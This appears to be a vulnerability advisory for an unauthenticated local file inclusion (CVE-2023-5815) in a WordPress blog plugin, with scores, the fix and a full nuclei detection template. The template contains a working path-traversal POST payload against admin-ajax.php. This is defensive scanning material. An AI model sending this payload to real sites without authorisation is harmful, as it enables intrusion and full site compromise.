News & Blog Designer Pack – WordPress Blog Plugin <= 3.4.1 - Unauthenticated Local File Inclusion

highseverity

8.1CVSS score

5%likelihood of exploitation, next 30 days

92%of all CVEs are less likely

Readycheck to confirm it

The News & Blog Designer Pack WordPress plugin up to version 3.4.1 contains a remote code execution caused by local file inclusion in the bdp_get_more_post function, letting unauthenticated attackers include arbitrary PHP files, exploit requires AJAX request with crafted POST data.

Impact

Attackers can include arbitrary PHP files, leading to remote code execution and full site compromise.

Fix

Update to the latest version beyond 3.4.1 or disable the vulnerable AJAX functionality.

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Positive when: contains "\"success\"" and "\"data\"" and "wp-login" AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2023-5815 -u <target>

The full check

id: CVE-2023-5815

info:
  name: News & Blog Designer Pack – WordPress Blog Plugin <= 3.4.1 - Unauthenticated Local File Inclusion
  author: daffainfo
  severity: high
  description: |
    The News & Blog Designer Pack WordPress plugin up to version 3.4.1 contains a remote code execution caused by local file inclusion in the bdp_get_more_post function, letting unauthenticated attackers include arbitrary PHP files, exploit requires AJAX request with crafted POST data.
  impact: |
    Attackers can include arbitrary PHP files, leading to remote code execution and full site compromise.
  remediation: |
    Update to the latest version beyond 3.4.1 or disable the vulnerable AJAX functionality.
  reference:
    - https://wordpress.org/plugins/blog-designer-pack/
    - https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/2f2bdf11-401a-48af-b1dc-aeeb40b9a384?source=cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2023-5815
    epss-score: 0.0502
    epss-percentile: 0.92322
    cpe: cpe:2.3:a:infornweb:news_\&_blog_designer_pack:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: infornweb
    product: news_\&_blog_designer_pack
    framework: wordpress
    publicwww-query: "/wp-content/plugins/blog-designer-pack/"
  tags: cve,cve2023,wordpress,wp,wp-plugin,blog-designer-pack,lfi,vkev,vuln

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=bdp_get_more_post&shrt_param[design]=../../../../../wp-login

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"success"'
          - '"data"'
          - 'wp-login'
        condition: and

      - type: word
        part: content_type
        words:
          - application/json

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from